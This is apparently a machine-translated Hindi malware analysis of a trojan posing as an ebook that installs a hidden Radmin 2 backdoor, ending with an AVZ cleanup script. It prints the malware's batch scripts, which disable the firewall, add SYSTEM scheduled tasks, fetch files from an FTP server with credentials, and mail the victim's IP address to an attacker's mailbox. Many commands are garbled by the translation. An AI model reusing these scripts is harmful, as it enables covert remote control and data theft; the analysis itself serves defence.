छिपे हुए रेडमिन के अगले संस्करण का विश्लेषण

एक निजी संदेश में एक मंच पर आज फ़ाइल की जांच करने के अनुरोध के साथ पारित हुआ। मैं सहमत था, हालांकि उत्सुक। घटना के थोड़ा आगे और मैं कहूंगा कि यह दूसरी शाखा के रेडमिन से निर्मित एक बैकडोर है और कुछ और)
प्राप्त फ़ाइल: kak_ponyat_muzhchin_bibl.ru.exe (md5: 2138A224BDD1A36329F398A37E10AB9)
मैं केवल दुर्भावनापूर्ण फ़ाइलों के लिए राशि का हैश इंगित करूंगा।
सामान्य तौर पर, वर्णन द्वारा - यह किसी प्रकार की पुस्तक है, क्यों निर्वासन में - यह स्पष्ट नहीं है, हम आगे देखते हैं।
हम PEiD का उपयोग करते हैं:

UPX 0.89.6 - 1.02 / 1.05 - 2.90 (डेल्फी) ठूंठ -> मार्कस और लास्ज़लो [RAR SFX]
चलो वाइनर को अनज़िप करने की कोशिश करते हैं, हमें दो फाइलें मिलती हैं:

filip_olegovich.exe
और setup.exe (md5: C888FCE716D600EE53D467F7DF2B2475)



दोनों को अपैक्स में पैक किया जाता है, अनपैक करने के बाद हमें निम्न चित्र मिलते हैं:



filip_olegovich.exe - exe में संकलित pdf-file, यह अब हमें रुचती नहीं है।
setup.exe (md5: 732FCAA243C007DAA9354AEAF3F6D572) एक PureBasic 4.x -> नील हॉजसन * कंपाइलर है , जो एग्जीक्यूटिव के लिए बैट फ़ाइलों को कनवर्ट करने के लिए विशिष्ट है।

जबकि संदिग्ध फ़ाइल के दोनों संस्करण वायरस में डाउनलोड किए गए हैं, हम अनपैक्ड setup.exe के संसाधनों को देखेंगे:



हां, यह एक परिवर्तित बैच फ़ाइल है जो 2 फ़ाइलों को बनाएगी और अपने स्वयं के बैट कोड को निष्पादित करेगी:

sc config अनुसूची प्रारंभ = ऑटो
sc स्टार्ट शेड्यूल

sc config wscsvc प्रारंभ = अक्षम
sc config साझाकरण प्रारंभ = अक्षम किया गया

sc स्टॉप wscsvc
sc बंद करो

schtasks / create / tn "f" / sc minute / mo 1 / ru "NT AUTHORITY \ SYSTEM" / tr% systemroot% / ff.bat

attrib + h% systemroot% / कार्यों /*.* netsh advfirewall ने वर्तमान लाभकारी स्थिति को बंद कर दिया
C: /isendms_setup.exe

यह बैच फ़ाइल कार्य शेड्यूलर सेवा शुरू करेगी, सेवाओं "सुरक्षा केंद्र और सुरक्षा अलर्ट" और "विंडोज़ फ़ायरवॉल" को रोकें । इसके बाद, कार्य को शेड्यूलर में जोड़ें, जो हर मिनट में ff.bat फ़ाइल चलाएगा , कार्य फ़ाइल को छिपाएगा और फ़ायरवॉल को फिर से बंद कर देगा। एक डेवलपर या पागल या शौकिया, बल्कि, दूसरा। सीधे शब्दों में कहें, यह setup.exe फ़ाइल ट्रोजन-डाउनलोडर का एक उदाहरण है, बस थोड़ा सुधार हुआ है। अगला, उपरोक्त दो फाइलों पर विचार करें: यह पाठ % systemroot% / system.bin पर कॉपी किया जाएगा

u11631
javasc
f.bat प्राप्त करें
del check.txt
नमस्ते

और% systemroot% / ff.bat में ऐसा कोड

sc config wscsvc प्रारंभ = अक्षम
sc config साझाकरण प्रारंभ = अक्षम किया गया
sc stop wscsvc sc stop SharedAccess
ftp -s: C: \ WINDOWS / system.bin ftp.on.ufanet.ru f.bat

% systemroot% - विंडोज़ फ़ोल्डर, मेरे मामले में C: \ windows

यह हमें क्या बता सकता है?
सबसे पहले, system.bin फ़ाइल ftp क्लाइंट के लिए एक कॉन्फ़िगरेशन है जो सर्वर पर जाएगी और एक विशिष्ट फ़ाइल डाउनलोड करेगी। (बदले में लाइनें: सर्वर लॉगिन, पासवर्ड, सर्वर से फ़ाइल डाउनलोड करना, सर्वर पर फ़ाइल हटाना, ftp सत्र समाप्त करना)
Ff.bat फ़ाइल क्या करती है ? सबसे पहले, यह स्टार्टअप से दो सेवाओं को रोकता है और हटाता है: wscsvc - सुरक्षा केंद्र और सुरक्षा अलर्ट
SharedAccess - windows फ़ायरवॉल यह अंतर्निहित फ़ायरवॉल को आगे नेटवर्क गतिविधि को ब्लॉक करने की अनुमति नहीं देता है, साथ ही सिस्टम में सुरक्षा कमजोरियों के बारे में अलर्ट भी ब्लॉक करता है।
फिर यह system.bin फ़ाइल से टिंचर के साथ ftp सर्वर ftp.on.ufanet.ru से कनेक्शन बढ़ाता है। Ftp सत्र समाप्त होने के बाद, यह f.ftp फ़ाइल को निष्पादित करेगा, जो निर्दिष्ट सर्वर से डाउनलोड होगा।
हमारे setup.exe फ़ाइलें, वैसे, पहले से ही virustotal पर विश्लेषण किया गया है:

• लिपटे
• पैक

अगला, हमें उन फ़ाइलों को प्राप्त करने की आवश्यकता है जिन्हें ftp से डाउनलोड किया जाना था, इसके लिए हम उपयोगकर्ता नाम और पासवर्ड लेते हैं और स्वतंत्र रूप से कनेक्ट करते हैं:
f.bat
system.exe (md5: 1ADEF54E08294BC7548C91C8F6CF2032) - RAR SFX संग्रह निम्न टिप्पणी के साथ:

  पथ =% SYSTEMROOT% / मदद / win32
 मौन = १
 अधिलेखित होना = १
 setup = install.bat 

यह विकल्प चुपचाप मोड में % SYSTEMROOT% / मदद / win32 में संग्रह की सामग्री को खोल देता है



एक ही फ्रेम के साथ अनपैक करने के बाद, हमें दूसरे संस्करण के छिपे हुए रेडमिन की एक असेंबली से ज्यादा कुछ नहीं मिलता है: raddrv.dll और admdll.dll - रेडमिन 2 ड्राइवर

svchost.exe - रेडमिन 2 निष्पादन योग्य फ़ाइल

ब्लट। * - ब्लट कंसोल मेल क्लाइंट के स्वामित्व वाली फाइलें

लेकिन हम इन फ़ाइलों पर अधिक विस्तार से विचार करेंगे: install.bat

@ तो बंद

sc config wscsvc प्रारंभ = अक्षम
sc स्टॉप wscsvc

sc config साझाकरण प्रारंभ = अक्षम किया गया
sc बंद करो

sc config अनुसूची प्रारंभ = ऑटो
sc स्टार्ट शेड्यूल
svchost.exe / स्थापित / मौन
svchost.exe / pass: 12345678125 / सहेजें / मौन
REG ADD HKLM \ SYSTEM \ RAdmin \ v2.0 \ Server \ Parameters / v DisableTrayIcon / t REG_BINARY / d 00000001 / f
REG ADD HKLM \ SYSTEM \ CurrentControlSet \ Services \ r_server / v DisplayName / t REG_SZ / d "सेवा होस्ट नियंत्रक" / f
svchost.exe / stop
svchost.exe / start
blat.exe-स्थापना -server smtp.yandex.ru -port 587 -f ufanetcom2@yandex.ru -u ufanetcom2 -pw javascriptsc
schtasks / create / tn "security" / sc मिनट / mo 15 / ru "NT AUTHORITY \ SYSTEM" / tr% SYSTEMROOT% / मदद / win32 / microsoft.bat
अट्रिब + एच% सिस्टमरोट% / कार्य /*.*
निकास

हम आदेशों का विश्लेषण करेंगे। सबसे पहले, फ़ायरवॉल और सुरक्षा अलर्ट का अगला शटडाउन, फिर कार्य शेड्यूलर सेवा को पुनरारंभ करना। अगला - सबसे स्वादिष्ट, मूक इंस्टॉलेशन, एक पूर्वनिर्धारित पासवर्ड, साथ ही रजिस्ट्री के लिए पीड़ित के ट्रे आइकन को छिपाने के लिए सेटिंग्स लिखने वाले मापदंडों के साथ रेडमिन सर्वर का शुभारंभ। दूसरी कुंजी रेडमिन सेवा नाम - सेवा होस्ट नियंत्रक सेट करेगी

खैर, अंत सेवा का शुभारंभ है। इस प्रकार, रेडमिन एक पूर्वनिर्धारित पासवर्ड और सभी संभव छिपाव के साथ समझौता प्रणाली पर स्थापित है। इसके बाद, हम ब्लट मेल क्लाइंट का उपयोग करके मेल भेजने और टास्क शेड्यूलर के माध्यम से स्टार्टअप के लिए इस सभी बैट फाइल को स्टार्टअप में जोड़ने के लिए डेटा रजिस्ट्री में एक रिकॉर्ड देखते हैं। microsoft.bat

sc config साझाकरण प्रारंभ = अक्षम किया गया
sc बंद करो
ipconfig /all>%SYSTEMROOT%\Help\win32/ip.txt
% SYSTEMROOT% / help / win32 / blat.exe% systemroot% / help / win32 / ip.txt -to ufanetcom2@yandex.ru। निकास

दूसरा बैच फ़ाइल एक बार फिर सिस्टम फ़ायरवॉल को डिस्कनेक्ट करता है, और आउटपुट को टेक्स्ट फ़ाइल में सहेजने के साथ ipconfig / सभी कमांड को भी निष्पादित करता है, जिसे बाद में ufanetcom2@yandex.ru पर ब्लट का उपयोग करके भेजा जाएगा, संक्षेप में, यह एक हमलावर को कनेक्ट करने के लिए एक आईपी पता भेजेगा एक संक्रमित कार के लिए।

इस पर, सामान्य तौर पर, सब कुछ, विश्लेषण पूरा हो गया है। विश्लेषण पूरी तरह से स्थिर है, आपको एक आभासी वातावरण में कुछ भी चलाने की ज़रूरत नहीं थी, सब कुछ कॉर्नी है। फिर भी, मैंने मेल पर जाकर पीड़ितों के आईपी पते के साथ बड़ी संख्या में पत्र देखे। सिस्टम को ठीक करने के लिए नीचे AVZ स्क्रिप्ट है।

  शुरू करना
 SearchRootkit (सच्चा, सच्चा);
 सेटवेज़गार्डस्टैटस (ट्रू);
 StopService ('r_server');
 DeleteService ('r_server', true);
 TerminateProcessByName ('c: \ windows \ help \ win32 \ svchost.exe');
 DeleteFile ('C: \ WINDOWS \ ff.bat');
 DeleteFile ('C: \ WINDOWS \ SYSTEM.DLL');
 DeleteFileMask ('C: \ WINDOWS \ help \ win32', '*। *', True);
 BC_ImportAll;
 ExecuteSysClean;
 ExecuteWizard ('TSW', 2,3, सच);
 BC_Activate;
 रिबूटवॉच (सच);
 अंत।